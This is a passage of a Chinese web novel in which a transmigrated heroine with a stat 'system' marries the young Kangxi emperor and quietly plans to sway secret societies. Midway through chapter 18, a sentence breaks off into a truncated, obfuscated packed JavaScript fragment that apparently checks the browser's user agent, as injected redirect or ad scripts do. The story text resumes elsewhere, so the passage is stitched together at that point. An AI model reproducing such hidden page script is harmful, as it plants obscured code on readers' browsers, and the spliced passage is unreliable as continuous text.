格格自掏体己养着百来号人,教读书习字还管吃穿,哪有这般行善的? 三年前他被注入观察点后,【忠诚值】涨到90,看人看事愈发从格格的利益出发,认定格格定是要培养死士。 夜里盘账时,他翻开暗格里的册子,上面密密麻麻记着孩子们的信息:阿冬臂力惊人,春桃过目不忘...烛火映得他镜片发亮。 城外庄子里,十六岁的程岫每日除了读书,还要练拳脚。他是被一路拐卖北上的,意外得了活路,不敢不珍惜,虽然不知道此处主家是谁,不知道主家要他们做什么,能活着就比死了强。 葛布喇到家,先把礼物交给丫头们,送去给大格格,他就只买一份,反正珠兰会分给塔娜。 他一头钻进阿玛房中,一声叫唤,吓得静养的索尼一哆嗦。 “皇上,叫你把内务府管起来?”索尼咳嗽了两声。 葛布喇点点头,他也摸不着头脑。 虽说皇帝是他看着从儿童长到少年的,但帝王心术真看天赋,葛布喇是搞不清皇帝想法的。 “叫你做,你就管做,找我作甚。”索尼以为儿子开窍了,故作姿态,要抻一抻。 葛布喇回道:“阿玛,儿子是想跟您商量,等珠兰入宫,儿子去请皇上的旨,内务府叫她管着吧。” 要不是阿玛交代了,珠兰的大小事都得跟他报备。在乾清宫东暖阁,葛布喇就跟皇上说了。他事太多忙不过来,还从没管过家,怎么好去给皇上管家呢。 珠兰就不一样了,她自小就会用人,会经营。 索尼…… 18. 江湖中人 上次京师地动,珠兰因错估朝廷赈灾的效率,导致能量结晶没拿到手,懊恼许久。用开在南城的南货等铺子的盈利广施善举,系统提示已积攒下三颗“涟漪”级能量结晶。估计,又给哪个重要人物改命了。 珠兰翻了半天,暂时没看见属性太突出的人,便撂开手去了。 她没想到,自己为刷能量结晶的善举,竟被忠诚的掌柜误读成死士培养计划,但掌柜也不晓得怎么培养死士。 成日里好吃好喝好招待,读书习武长本事,要不要再给上个顺天府的户籍,将来好考科举,掌柜的也挠头。倒也阴差阳错,给了这些孩子一条活路,一条通天路。 倒是另一边,珠兰有意放任,还预备添上一把火。 封建君臣桎梏太多,满朝文武的属性值都点的争权夺利那一挂的,七八十年在原地打转儿,半点不带挪动的,白瞎了那么高的【智慧】【武功】。【爱民】属性这一栏要从个位数开始加,珠兰非得亏死不成。 但日后朝中行事,若保民之策皆因这帮官员成了害民之举,珠兰一番心血也要随之东流,能量结晶总比预估的少,会让人脾气暴躁,影响身体健康的。 她看到了,君臣不在意的百姓,在世界进程中颇为重要,若是在改变历史时导致生灵涂炭,不说正向能量结晶拿不拿的到,世界一准儿先翻脸,这不符合她的可持续发展诉求,极有可能会导致前功尽弃。 她自来是能有近路,就不走远道。与其费劲改变庙堂中的君臣,不如使现成的“格物致知、济世安民”老夫子们。 每一个朝代都有这么一群不合时宜的人,勇于将自身殉道。 自葛布喇任九门提督,他巡城的马蹄印像墨线般在系统地图上延展,从正阳门到西直门外,将整个京城裹进淡蓝色的能量网格。 系统的感应范围随着他的影响力不断扩展,如今,整个京城都笼罩在系统的感知之下。只要有人在某方面能力极为突出,系统就会自动捕捉。像文学素养达到89,这些高数值都代表着该人在这方面能量极高,会被系统清晰标记出来。 可惜,这样的人,目前珠兰手里就握着一个葛布喇。若是将来像葛布喇一样的人多了,放于五湖四海,则天下大事尽数在系统中了。 珠兰能轻松掌握京城里那些身怀绝技、特质出众的人物信息,葛布喇功不可没,奖励观察点不能停。 他的焦虑属性与智慧属性成反比,珠兰就给他再加点智慧,好让他日子好过点。 这些日子不在宫里,没有天道核心人物在身边,每日只得三百观察点,得省着点。 葛布喇就觉得自己处理朝中事务一日比一日轻松,深感不负君恩。 某日,当葛布喇带着他的亲兵队走过南城墙根,珠兰看见系统爆出强光——【能量异常捕捉:爱民属性92,坐标南城文昌胡同】。 一个人的爱民属性超过90,基本就等于该人以身许国了。他肯定不是个好丈夫好父亲,却绝对是个好士人。 文昌胡同的老槐树下,一位老夫子正给孩子们分窝头。寿春伏在文昌胡同的青瓦上,像一只猫,月光下,她的影子也仿佛一只猫。 连续两月跟踪,这个轻功卓绝的丫头终于摸清了老夫子的底细——白日里,他在私塾授课,袍角沾满人间烟火气,珠兰远远瞧了一眼,那老夫子一头斑白的头发。入夜后,却会在特定时间穿过三道暗巷,在某处破庙里与灰衣人密会;又或者在某一日到码头去,跟江南船夫用黑话聊上一会儿。 珠兰展开寿春带回的手绘图,上面标着十余个秘密联络点,分属于不同的体系。系统分析着寿春带回来的信息,自动标注此人为“某会军师”“某帮高层”“某派鼻祖”。 那老夫子高达92的“爱民”数值如此奇异,同时服务于数个帮会更是令人吃惊。若非寿春的轻功已经加到了95,可谓登峰造极,非人间所有,她还真摸不清这老夫子的复杂动向。 珠兰对此人,看不透,但不要紧,有野心,能用就行。只当那数值是在野派凝聚人心的具象化,谋算的好,他们会将“为民请命”做到极致。 至于是反清复明的在野派,还是煎炒烹炸的在野派,珠兰不在乎,只要系统能加点,就都是我的在野派。 将图纸凑近烛火,看着字迹在火苗中蜷曲成灰。系统面板上那团刺目的金色能量,显得危险而诱人。那些清风不渡、明月不照的江湖暗巷,恰恰是最需要秩序填充的真空地带。 老夫子杨期脚踏不知多少条船还不翻,不仅是【爱民】属性高,【智慧】【谋算】【交际】【演技】通通都高,是珠兰想要的复合型人才。 可惜,这种人刷不了忠诚度,他的【忠君】是负数,不是个反贼是不可能了。 为了得到此人,她选择给系统注入三颗的“涟漪”能量结晶,让系统想办法。 片刻后,系统自动跳出【江湖组织贡献度】数值,折射出幽蓝冷光。说明文字泛着微光浮现:当她在某个江湖组织的贡献度突破60,便能操控对组织的忠诚值在60以上成员的属性。 这是秘密结社与朝中党派的不同之处,可以跨过忠诚与亲密,看贡献。 这规则妙在无需对方知情——每一次资源输送、每一回危机化解,都会悄无声息地累积着她的影响力。 无需他们知道谁在雪中送炭,某天,当自己的贡献度悄然登顶,那些蒙着面的反清义士、握着笔的账房先生,都将在不知觉间成为棋盘上的活子,而执棋人隐于深宫,这绝对是珠兰最爱的幕后黑手做派。 再看老夫子对【漕帮】【徽商】【三合】【公行】【东林】【金陵】各个组织的忠诚度,嗯,都在个位数······ 这些组织,也不知道都是干嘛的。 珠兰看着系统,系统一闪一闪亮晶晶。 所以,系统的意思是,我需要一个秘密结社,此社必须纲领完整,组织严密,架构清晰,目标长远,能令杨期这等【忠君】为负数、【爱民】为90以上的人心甘情愿加入进来。 珠兰,如是想…… 这,我办不到。 她看向系统,系统蓝光爆闪,沉寂,再爆,沉寂,再闪··· 我的金手指给我画了一张大饼,还吞了三颗能量结晶。 看在你是我亲手做的份上,珠兰挪开目光,不与你计较了。 系统闪烁过【索尼政治基因】【布木布泰后宫权术】【康熙帝王心术】【鳌拜权臣谋算】【葛布喇忠君之道】······ 封建时代庙堂之中,怎么可能诞生出新时期秘密结社所需的纲领架构,珠兰摇摇头。 系统弹出一句【巧妇难为无米之炊】,珠兰嘴角成一字状,虽然不想跟你计较,但你欠揍了。 揉了揉额头,在她的任务世界中,暴力的痕迹远大于建设。关键信息,还要从原初世界去寻。 太超前的社团,杨期这等最多也就想象一下“分天子之权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些在野多年的智囊团,谋略面板动辄80以上,却困在“清君侧”的旧框架里,何曾见过如此颠覆认知的组织蓝图。明白何为秘密结社之后,明白何为在野之派后,他们必然难以坐等,怎么也要实验一把才不算白来一遭。 这些在野党的军师们,嘴炮能力无敌,能在沙盘上推演千军万马,却搞不懂传单该贴在哪个城门洞最有效。能写出洋洋万言的策论,却算不清募集百两经费该联络哪十家商铺。组织起来的无产阶级,是打破旧世界的铁锤。珠兰可以帮他们,教他们,怎么攒一个拥有战斗力的社团。 寿春从南城跑到东城,又跑到西城,化为一只暗夜猫咪,将三本林昭然所著小册子和银两,秘密交给了不同的老夫子。 偌大京城,自然不止一个杨期。 珠兰的篮子里,放得下更多的野生庙堂学家。 这一夜,京中格外热闹。虽然这里有宵禁,却禁不住人心躁动。 珠兰自己也不晓得自己放出了什么凶猛巨兽,她一心只有能量结晶。 庙堂不能满足她的要求,她就要另寻代言人。 这一夜,一群迷茫之人,有了启明星。 这一夜,葛布喇进宫,将内务府之事向皇帝做了汇报。 这一夜,曙隅斋的掌柜穆尔哈在宛平县太平庄住下了,他得给这帮养在庄子上的孩子找点生计,这也有几个月了,能文还是能武,还是能种地,都摸出眉目了。他这头儿收来的孩子,都放在这处庄子里,附近的人都晓得这是葛大人家的庄子,等闲不会靠近,清幽宽广着呢。 19. 大婚之礼 慈宁宫 太皇太后眸光冷冽,拄着雕花紫檀杖,在暖阁内来回踱步,金丝绣的凤凰随着动作在裙裾上张牙舞爪,“玄烨这孩子,政事勤勉是好事,可皇家血脉...”话音戛然而止,她望着铜镜中自己鬓角的霜雪,眼底泛起浓重的忧色。早先皇帝有所青眼的董氏与张氏并未承宠,皇帝亦未曾宠幸其他宫人,整日只以政事为要。 八月召珠兰入宫以为试探,果然皇帝按捺不住前来相见。敲打之意,皇帝定然心中有数。可九月大婚在即,皇帝仍不通人事,这让她颇为不安。若再是一个董鄂氏······ 珠兰温顺、端庄,识大体,顾大局,能容人。董鄂氏,又何曾不是个好女子。太皇太后心中顾虑,不在某个女子,只在皇帝身上。 皇帝幼年登基,前朝有四大辅臣,本该是极好的磨刀石,将皇帝的锋锐顽气磨的温厚,磨的不露声色,磨的晓得隐忍。 可偏偏有个葛布喇,就护着他,只护着他,护的他小小年纪就除掉了鳌拜,越发骄傲了,越发像个顽主儿,还有什么天下之大不韪是他不敢犯的,只要他认定的,就怕没有他不敢做的了。 太皇太后攥着佛珠的手缓缓松开,檀木珠串滑落膝头,叮咚轻响惊不破满室寂静。她望着窗棂外摇曳的竹影,喉间涌起的责备终究化作一声叹息。铜镜里映出她眼角的皱纹,每一道纹路都刻着数十年的宫廷权谋,可面对自幼抱在膝头的孙儿,那些雷霆手段竟成了缚手的丝线。 “罢了...”她颤抖着抚过康熙幼时临摹的《孝经》残页,墨迹晕染处仿佛还留着孩童掌心的温度。 前朝多少帝王因子嗣之事与太后龃龉,闹得两宫失和,她怎忍心让玄烨也落得如此境地?即便心中忧急如焚,面上却只能挂起浅笑,将所有关切化作温言叮嘱:“告诉皇上,天凉记得添衣。” 宫墙深深,太皇太后望着案头积灰的《宗室玉牒》,枯瘦的指尖轻轻摩挲着空白的“皇子”栏。她深知,这满室的沉默与隐忍,都是为了护住那摇摇欲坠的祖孙情分——在这帝王家,有些话一旦说破,便再难回头。 太皇太后现在是一句重话说不得,生怕伤了祖孙情分,值不当的。攻守之势异形了,老太太也得服老咯。太皇太后摇着头,她不敢再当一次坏人了,她老了,也想要天伦之乐了。 太皇太后倚着缂丝软枕,看着苏麻喇姑展开的内务府秀女画像。绢本上的少女们柳眉杏眼,皆是按着江南仕女图的风韵描绘,腕间还特意标注着"擅琴艺""通诗书"的小字。“挑几个最伶俐的,送去乾清宫。”她捻着佛珠的手微微发颤,“就说哀家想着皇上身边该添些人手。” 乾清宫烛火通明,当四名少女怯生生踏入时,康熙头也不抬地指着堆成小山的西洋仪器:“把星盘按赤道坐标归置,再将《几何原本》译本分类上架。” 少女们面面相觑,原本精心准备的闺阁雅韵,在满室铜规铁矩间化作无用的胭脂。直到东方泛起鱼肚白,她们才顶着黑眼圈退出殿门,发间的珠翠歪歪斜斜,倒比寻常宫女更显狼狈。 消息传回慈宁宫,太皇太后望着案头未动的燕窝粥,终于将佛珠重重拍在炕桌上。苏麻喇姑欲言又止,却见老人缓缓闭上眼,皱纹里盛满疲惫:“随他去吧...终究是拗不过的,再等几月。”恍惚间,她仿佛又看见那个骑在自己肩头背《三字经》的孩童,可时光流转,如今连送几个侍妾,都成了戳不进铜墙铁壁的无用银针。 好姑娘送进乾清宫,就叫皇帝安排去看屋子,何必呢。 慈宁宫的暖阁内,太皇太后半倚在铺着软缎的榻上,手中的佛珠缓缓转动。当御医躬身而入时,铜炉中沉香的烟雾袅袅升腾,在光影间织就朦胧的纱幕。 “皇帝近来身子如何?”太皇太后的声音带着岁月沉淀的沙哑,看似随意的一问,却让殿内气氛陡然凝重。 御医额头沁出细汗,伏地叩首道:“回太皇太后,皇上龙体康健,每日晨练骑射不曾间断,饮食亦规律如常。”他偷瞄榻上神色莫测的太皇太后,斟酌着措辞,“只是...近来皇上醉心西洋算学、几何之术,常与传教士彻夜研讨,或是伏案绘制器械图纸至深夜,恐...恐略有劳神。” 太皇太后的指尖在佛珠上顿住。她自然知道皇帝勤勉好学,可自登基以来,后宫未曾侍寝,她如何能不忧心?但事关皇家颜面,又怎能直言? “既无大碍便好。”她轻叹一声,挥退御医,望着窗外,眸中满是忧虑。在这深宫中,皇帝的一举一动都牵动着社稷安危,而子嗣绵延,更是关乎国本。 苏麻喇姑安慰她,皇帝还小呢。 可皇帝马上大婚了,什么都不懂可不贻笑大方。 太皇太后忧心如焚,嘴上长了燎泡,又开始喝清火的苦药。 康熙四年九月初八,宣武门至西长安街的十里长街被晨雾浸染成黛色,年轻的和硕简亲王之镶红旗纛如赤色潮水漫过瓮城。 二十匹纯白贡马组成的方阵踏碎护城河晨曦,马鞍上八颗东珠串联的光带随马步起伏,在青石板路上投下流动的星河轨迹。 礼部尚书吴正治的绿呢大轿裹挟在百副镶铜钉棉甲的方阵中,甲叶反射的晨光与江南三织造特供的百匹云锦虹彩交织,形成满汉合璧的视觉洪流,沿着赫舍里府门前九孔白玉桥铺陈开去,桥洞倒影与仪仗队列构成完整的太极图案。 久病的索尼扶着紫檀拐杖立在门廊下,晨雾中的咳声被远处的仪仗号角切断,三日前还咳血的喉头突然涌上热意,赫舍里氏三代贵极,稳了。 乾清宫,康熙召见。 葛布喇连夜整理了赋税改革之事,前来听命。他最近得了一名绍兴来的幕僚,是翰林院那边周编修推荐过来的,极为精通各地税事,他总算有了些头绪。 结果皇帝不与他说正事,拉着他话家常,说了半个时辰。 葛布喇云里雾里,没听懂。他也不好意思说,皇上要不您问问别的呢,就干听着,陪着哼哼。 康熙见他如此,也习惯了这位心腹的耿直做派,比如他推荐自己的女儿,给朕当总管内务府大臣。他说话时,朕几乎以为他推荐的是索额图,结果居然是珠兰,朕的未婚妻子。 朕居然,觉得有几分道理…… 满人入关前,男人打仗,家里的事务也是女子管着。葛布喇有一句话说的对,妻子是朕的亲人,自然比臣下更值得信任。 自打鳌拜败亡,康熙便开始恣意挥洒少年意气。满朝文武大臣,哪一个站出来,不是说挑刺,就刺的保管他三天吃不下饭,全家战战兢兢过日子。 也就葛布喇一个,让皇帝心中有了牵挂,说话时竟要考虑他的心情。 不能太酸,怕葛布喇吃心。不能太苦,怕葛布喇上心。不能太淡,怕葛布喇伤心。 皇帝觉得自己也是退了无数步了,看着葛布喇清澈的眉眼,再退吧,谁让他是葛布喇呢,唯一的那个从元年就陪着朕的葛布喇。 康熙四年九月初九,赫舍里府三进院落内,二百两赤金锭码成的巨型囍字,在秋阳下熔成金河。十二口朱漆描金箱组成的礼阵高达三丈六尺,恰合天罡之数。箱面铜钉与一万两雪花银的反光共振,将琉璃瓦顶映成流动的白银穹顶。 三龙二凤冠的仪仗抵达,金凤凰口衔三尺六寸珍珠流苏。江南海天霞的蓝紫流光与东北乌苏里江东珠的乳白光晕,在穿堂风中交融,在影壁上投下满汉祥瑞交织的动态光斑。 全家都沉浸在喜悦之中,只有葛布喇躲在书房,翻找着汤若望送入宫的医学著作,看到底是哪一条迷惑了天子。 入夜时,他揪着辫子,恨不能抽自己嘴巴子,深知不能再拖下去了,扭身叫来二女儿,嘱咐她务必将话儿一字不落的带给她长姐。 珠兰不能蒙在鼓里入宫,他这个当爹的没用,连累女儿要受辱了。 塔娜一脸木然的被富春抱着,飞跃过墙头,绕过巡夜的宫女,钻进了姐姐的闺房。 珠兰稳坐,心中有数。此事能成,全靠系统给传教士注入观察点,引歪他们的研究方向。生太子这事儿,她觉得不好办,往后放放吧。 康熙四年九月十二,寅时。 太和殿七级丹陛被千盏羊角宫灯照如白昼,康熙身着明黄朝服端坐于宝座,王公百官按品级排列丹陛之下,行三跪九叩大礼。 礼部官员将皇后金册、金宝恭奉至黄案——金册以十片纯金打制,每片重十两,满汉双语刻写册文,首句“咨尔赫舍里氏,乃领侍卫内大臣噶布喇之女,钟祥世族,毓秀名门”彰显家族荣光;金宝为八寸见方的龙钮金印,印文融合龙纹、凤纹与满族海东青图腾,据《清宫内务府造办处档案》记载,其铸造需经“熔金十二炼、錾刻百工、鎏金三匝”工序。 和硕康亲王杰书捧册的身影与礼部侍郎展宝的动作形成严格对称构图,两人持节护送册宝前往赫舍里氏府邸,标志“佐理坤仪,式遵典制”的皇后身份正式确立。 册立礼毕,皇帝钦定的皇后仪仗从紫禁城出发。十六人抬的凤舆饰满凤凰纹样,轿顶金凤凰口衔三尺六寸珍珠流苏,由御前侍卫及亲王大臣组成的仪仗队前导,经大清门、天安门、午门进入紫禁城。 凤舆行进路线严格遵循“阴阳合德”理念:自外朝太和殿、中和殿至内廷坤宁宫,象征皇后从家族成员转为宫廷女主,与皇帝形成“男主外、女主内”的权力格局。 大清朝的主子娘娘,自大清门入宫,沿途黄盖、凤旗、金节等仪仗排列整齐,鼓乐齐鸣,文武百官及内廷命妇于道侧跪迎,展现皇权迎娶的至高规格。 卯时三刻,十六抬花轿碾过大清门青石板的声响穿透内城,百余名仪仗官的黄盖凤旗组成流动的织锦,从紫禁城午门沿中轴线一直铺陈至坤宁宫丹墀,红墙黄瓦间,轿夫号子与檐角铁马的和鸣在三大殿间形成声浪回旋。 正午时分,康熙与珠兰在坤宁宫东暖阁举行合卺礼。二人用满文错金合卺杯互饮交杯酒,杯底“永结同心”的满汉文字在酒液中显形,萨满太平鼓的熊皮鼓面与汉式祝板的敲击声形成复调。 珠兰接过合卺杯的指尖悬在半空,康熙的手指恰在此时托住杯底——明黄朝服的金纽扣擦过她腕间银镯的刹那,冷硬的鎏金与温润的白银发出轻响。那声响细若游丝,却仿佛让殿内萨满鼓的节奏骤然一滞,床帐丝绦的摇曳也仿佛定了格。 她抬眸望进康熙眼底,少年天子瞳孔里映着羊角宫灯的光晕,系统面板上【帝王心术】数值不停跃动。 康熙也在看她,这是他的皇后。纤长的睫毛在烛光下投下蝶翼般的阴影,凤冠上的东珠正顺着她低头的动作滑落微光。他原以为会看见寻常闺阁女子的羞怯,却发现某种熟悉的锋芒——像极了葛布喇翻阅《资治通鉴》时,在书页空白处批注的冷冽墨痕。 两个人,皆没有丝毫旖旎心思。欲求寿考,生育不宜过早,康熙与珠兰心中皆如是想。 外面席间设合卺宴,铜火锅在紫檀桌上烧得正旺,锅内野猪肉与笋丁的香气混着鸡汤蒸腾。子孙饽饽盛在青花碗里,饺子皮上印着微小的囍字,萨满太太手持太平鼓边敲边唱,满语祝词里夹杂着“厄赫里”(吉祥)、“绥芬”(子孙)等词汇,鼓面上的黑熊皮随着节奏震颤,与殿外廊下汉式编钟的乐声形成奇妙共振。 当珠兰咬下第一口饺子时,侍立一旁的总管太监顾问行立刻趋前跪问:“主子娘娘,这饽饽生不生?” 她依制垂眸答“生”,话音未落,殿内等候的宗室女眷便发出压抑的欢呼,檐角铃铛也在秋风中叮咚作响。 宴席中表演满族“莽式舞”,八名舞者身着鹿皮箭袖,腰间系着铜铃,在殿中模拟围猎场景:时而弯弓射兽,时而伏地捕貂,皮靴踏在金砖上发出橐橐声响,腰间铜铃与舞者口中的乌春应和。 与之相对的,是西墙下汉乐班子演奏的《关雎》雅乐 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珠兰头上的红缎盖头绣着金线盘成的百凤朝阳纹,随着呼吸轻轻起伏,身侧宝瓶内的金银米与粟麦在红绸包裹下微微作响,与枕边红绸缠绕的苹果共同勾勒出平安富贵的吉兆。 内务府掌事女官吉雅身着八团寿纹吉服,手持撒帐金斗立于榻前。“一撒金,二撒银,三撒聚宝盆;四撒平安果,五撒麒麟子,六撒满堂春!”清亮的祝词中,吉雅将五谷抛向帐顶四角,金黄的粟麦、雪白的稻米如星雨纷扬,落在龙凤呈祥的锦被上。 吉雅她们几个入内务府做女官,还是走的葛布喇这个总管大臣的后门,比珠兰入宫为后还早。本来内务府就没有女官一说了,为了迎接皇后入宫,原该重新选包衣中持重之女。 但葛布喇给定了,主要就用他家大格格身边的四个大丫头,报到皇帝处,皇帝给批了,又补了四名自己身边的宫女子春苒、夏苼、秋葹、冬萧过去,让内务府再推荐两名,一共十位女官。 太皇太后没插手皇后身边宫女子之事,只是与太后一起,各派了一名嬷嬷到坤宁宫听命。 撒帐仪式比民间更显隆重,每一粒谷物都经钦天监择吉时暴晒,寄托着皇室对绵延子嗣、江山永固的深切祈愿。 太和殿大宴的余韵未散,暖阁内已陈设起精致的小型合卺宴。鎏金錾刻“囍”字的玉碟中,龙凤喜饼叠成宝塔状,表面的祥云纹与糯米汤圆上的金丝缠枝相映生辉。 内务府女官禄雅手持檀木祝板,每呈献一道膳食便朗声道贺:“和羹之美,在于合异;鸾凤和鸣,家国永昌!” 帝后以金镶玉箸象征性夹取糕点,所用器皿均由造办处耗时三月精制,杯盏边缘的海水江崖纹与内壁满汉双语的“百年好合”字样,在烛光下流转着华贵的光泽。 坐帐礼毕,宫女们依“男左女右”古制,分立帝后两侧侍奉换装。 康熙褪去绣满十二章纹的明黄朝服,换上玄色织金常服,腰间玉带扣碰撞出清越声响。 珠兰则由春苒、夏苼、秋葹、冬萧等四名女官共同托举凤冠,缓缓卸下沉重的三龙二凤冠冕,如云青丝倾泻而下,覆上绣着并蒂莲的红缎锦衣。 铜盆中,玫瑰、茉莉花瓣随温水轻漾,女官们用湘妃竹巾蘸取花瓣水,按皇家规矩自额头至脖颈细细擦拭,水汽氤氲间,将大婚的庄重逐渐转为闺房的温馨。 十二名宫女在内务府女官尼雅的严格监督下,有条不紊地更换喜床被褥。崭新的大红缎面上,红枣、花生、桂圆、莲子以金线串成“早生贵子”字样,四角的纯金宝瓶盛满金银米,玉如意压在锦被之下。 绣着百子嬉戏图的缂丝幔帐自蟠龙柱上垂落,孩童手中的石榴、佛手等吉祥纹样栩栩如生,与床头悬挂的双鱼玉佩相互呼应,将整座喜床装点成满载祝福的祥瑞之境。 夜幕降临,帝后携手步入坤宁宫西暖阁,这里供奉着满族萨满教的神位与索伦杆。 萨满太太头戴神帽,身着缀满铜镜与铃铛的神袍,在神案前点燃松柏枝。随着满语祝词响起,烛火次第熄灭,整座殿堂陷入黑暗。 神案上,煮熟的整猪与米酒在夜色中散发香气,萨满太太的鼓声、铃铛声与祝祷声交织,仿佛在与神灵对话。 待祝词念毕,灯火重燃,象征驱除邪祟、迎纳吉兆,烛光照亮康熙与珠兰腰间新佩的护身符,其上的满文咒符泛着神秘的光泽。 萨满亲手将刻有索伦杆纹样的玉佩系在帝后腰间,口中念念有词:“此佩佑护,百邪不侵,恩爱绵长。” 内务府女官图雅随即轻声提醒各项禁忌:勿碰剪刀、针线等尖锐器物,言谈间需避讳死亡、疾病等不祥之语。 整个洞房内,从幔帐的垂落角度到器物的摆放方位,皆遵循萨满教的避邪规矩,营造出神圣而庄重的氛围。 洞房外,御前侍卫按八卦方位肃立值守,内务府女官们则在廊下静候,手持《大婚仪注》手册,仔细记录帝后饮食、休息时间等细节,但涉及私密的就寝环节,众人皆回避至庭院,仅留两名女官禄雅和吉雅在窗外听候传唤。 夜巡的梆子声与更鼓声中,整座坤宁宫既静谧又戒备森严。 帝后夜间需要饮食,女官禄雅即刻捧上精心熬制的莲子安神羹,用银匙试毒确认安全后,再以描金漆盘呈送。 与此同时,另有女官吉雅手持镂空香球,在室内轻晃,将百合、茉莉的芬芳均匀散开。 每一个动作、每一道流程,皆严格遵循《大婚仪注》的规范,确保这场皇家婚礼的每一个细节,都彰显出天家的威严与体面。 系统中八名女官的属性值,一直都在珠兰的监控中。 要说自己给自己操持大婚的皇后,珠兰觉得自己必然前无古人后无来者。 葛布喇忙不过来,做这个甩手掌柜十分心安,真就把与内务府各司沟通大婚礼仪程序之事托付给了珠兰名下的女官去做。 珠兰…… 20. 洞房花烛 当最后一盏羊角宫灯的光晕将垂落的幔帐染成蜜色,随着宫女们细碎的脚步声消失在雕花门外,坤宁宫东暖阁终于只剩烛火轻颤的声响。 康熙随手解开领口繁复的盘扣,瞥见珠兰正抬手去够床头那盘撒帐时余下的花生,凤冠流苏随着动作轻晃,映得她耳尖泛起薄红。 这一套折腾完,没出岔子。珠兰心也松了,人也懒了,先不装着十分端庄温顺了,露出三分模样来,试探一下皇帝的接受程度。 这位天子,生着一张容长脸儿,细眉细眼,还有些没长开,不看十分的体态,八分的气质,只算颜值,差强人意吧。 “饿了?”康熙屈指叩了叩摆满龙凤喜饼的鎏金托盘,不等回答便捻起块枣泥酥掰成两半,“这饼甜得发腻,倒是瓜子还能磨牙。” 话音未落,珠兰已利落地掰开颗瓜子,雪白的果仁被指尖轻轻一弹,正巧落进他半张的嘴里。 她吃什么都差不多,走过这么多世界,整日筹谋只为获取能量结晶还时空局的账单,吃喝的欲望已经消减到几乎只为维持生命所需了。 康熙一愣,囫囵吞了下去。见珠兰闲适的模样,就像在自家似的,居然这般自在。突然,有心要为难她一下才好。 他有时候故意发坏,就想看葛布喇抓耳挠腮满地转圈的样子。 珠兰与她父亲生的像,不晓得急迫起来是什么模样。 茶盏里的茉莉香混着糕点碎屑在暖阁弥漫,康熙说起钦天监新译的《几何原本》,珠兰随手用银簪沾茶水在桌面上划出辅助线。皇帝爱西学,爱了挺多年,就是不怎么爱推广,只自己玩儿,这点不好,影响她赚能量。 谈及江南织造进贡的云锦纹样,她又能细数出二十四种各色的织法。皇帝还关注云锦纹样,这么忙了,爱好还不少,看来不是纯牛马人机皇帝,享受他也爱。 当话题转到三藩势力渐长时,她忽然敛了笑意,捧着茶盏的指尖摩挲着杯纹,只垂眸听他分析云贵粮道的布防。这事儿,咱不好多说,系统没分析到三藩,超纲了。 “你怎么不说话。”康熙突然倾身,烛火将两人的影子叠在绣满百子图的帐幔上,“赫舍里家的姑娘,当真只学女红针黹?” 珠兰望着他眼底跃动的火光,忽然轻笑出声:“后宫不得干政,这是祖训。”得亏了清朝有这祖训,要不就露怯了。皇帝约么是有厌蠢症,在索尼屋里学习时,没少听葛布喇说皇帝在朝中如何训斥那些本职工作做不好的大臣,嘴跟刀子似的,毒着呢。 “祖训?”康熙抓起把瓜子哗啦作响,“葛布喇昨日回府,可是对着满屋子幕僚长吁短叹。你祖父索尼当年辅佐太宗皇帝时,书房里的舆图比兵部还全。”他忽然凑近,温热的呼吸扫过她鬓边垂下的珍珠,“以为朕不知,你在家都学些什么?” 珠兰猛地睁大眼睛,指尖捏着的瓜子壳“咔嗒”碎裂。她望着青年帝王扬起的眉梢,将惊讶恰到好处地凝在眼底——正如系统测算过的最佳反应数值。早知道你在赫舍里家有探子,没关系,你的探子忠诚度在系统面板里也超过60了,你以为他属于你,其实他们都属于我。 果然,康熙靠回软垫时唇角勾起得意的弧度,玉冠上的东珠晃出耀眼光斑,“这世上,还没有朕探不清的事。” 珠兰垂眸掩住眼底笑意,睫毛在眼下投出蝶翼般的阴影,借着低头剥花生的动作,飞快地朝康熙翻了个白眼,不好意思,忍不住。 自大、自恋!臭屁小孩! 再抬头时,面上已换上哄孩童般的温软笑意:“是是,这天下事哪有能瞒过天子圣聪的。”尾音带着若有似无的调侃,偏偏语气又乖顺得挑不出错处。 康熙盯着她强装正经的调皮模样,忽然觉得嘴里这软糯糕点都没了滋味。 这怎么跟原来差距这么大,这是珠兰?他又想笑,珠兰原来在朕面前放松下来时,是这般模样。他喜欢看透一个人,掌控一个人。当然,希望看到一个人的每一面。他喜欢珠兰在他面前,是真实的。 见珠兰起身趿着绣鞋往烛台走,他下意识伸手去拦,却只扯住她袖口的边角。“你阿玛回家以后没与你说吗?”话语冲出口才惊觉不妥,耳尖瞬间泛起薄红。他终归还年少,历练不够,还会脸红心跳。 “说什么了?”珠兰歪着头回望,指尖已触到摇曳的烛芯。龙凤烛的火光映得她瞳孔发亮,鬓边珍珠随着动作轻颤,倒真像是懵懂不知的模样。这会儿不玩儿,等皇帝大了就玩不到了。 康熙猛地攥住她手腕,锦缎下的肌肤带着温软的触感,烫得他喉头发紧。“这蜡烛不能熄!”话一出口,见珠兰睁着杏眼满脸茫然,他才后知后觉,连耳垂都烧得通红。 “龙凤蜡烛当然要留着,”珠兰晃了晃被他握住的手,腕间银镯轻响,“可寻常蜡烛熏人,我要安睡自然得吹熄……”话音未落便被急切的打断。 “你不能睡!”康熙脱口而出,望见珠兰震惊的眼神才慌忙别开脸,喉结滚动着组织措辞。 殿内寂静得能听见两人交错的呼吸声,他盯着幔帐上百子图里嬉笑的孩童,咬牙道:“你我……年岁尚小,不宜早要子嗣。” “我都十六了!”珠兰瞬间瞪大眼,眼尾泛红,模样委屈极了,“民间女子这个岁数都当娘了!”她刻意放软的声音带着鼻音,眼角余光却瞥见康熙耳尖红得滴血,转身时袍角扫落桌上瓜子,噼里啪啦的声响里,她咬住下唇,将憋不住的笑意全埋进绣着并蒂莲的衣袖里。不行,太久不演了。高难度的有点,应付不来哦。 康熙见珠兰垂着头,发间的珍珠随着细微的颤动轻晃,恍惚间真像是泪珠在滚落。 他攥着龙纹常服下摆的手指骤然收紧,指甲几乎掐进掌心——原以为自己早已练就铁石心肠,为着调理尚未长成的体魄,更为稳固朝局根基,才狠下心决定暂不要子嗣,将这般沉重的压力,通过隐晦的试探告知葛布喇。 果然,葛布喇跪在丹墀下叩首时,忠君之心终究盖过了爱女之情,郑重承诺会将此事告知珠兰,让她心甘情愿为皇室大局做出牺牲。 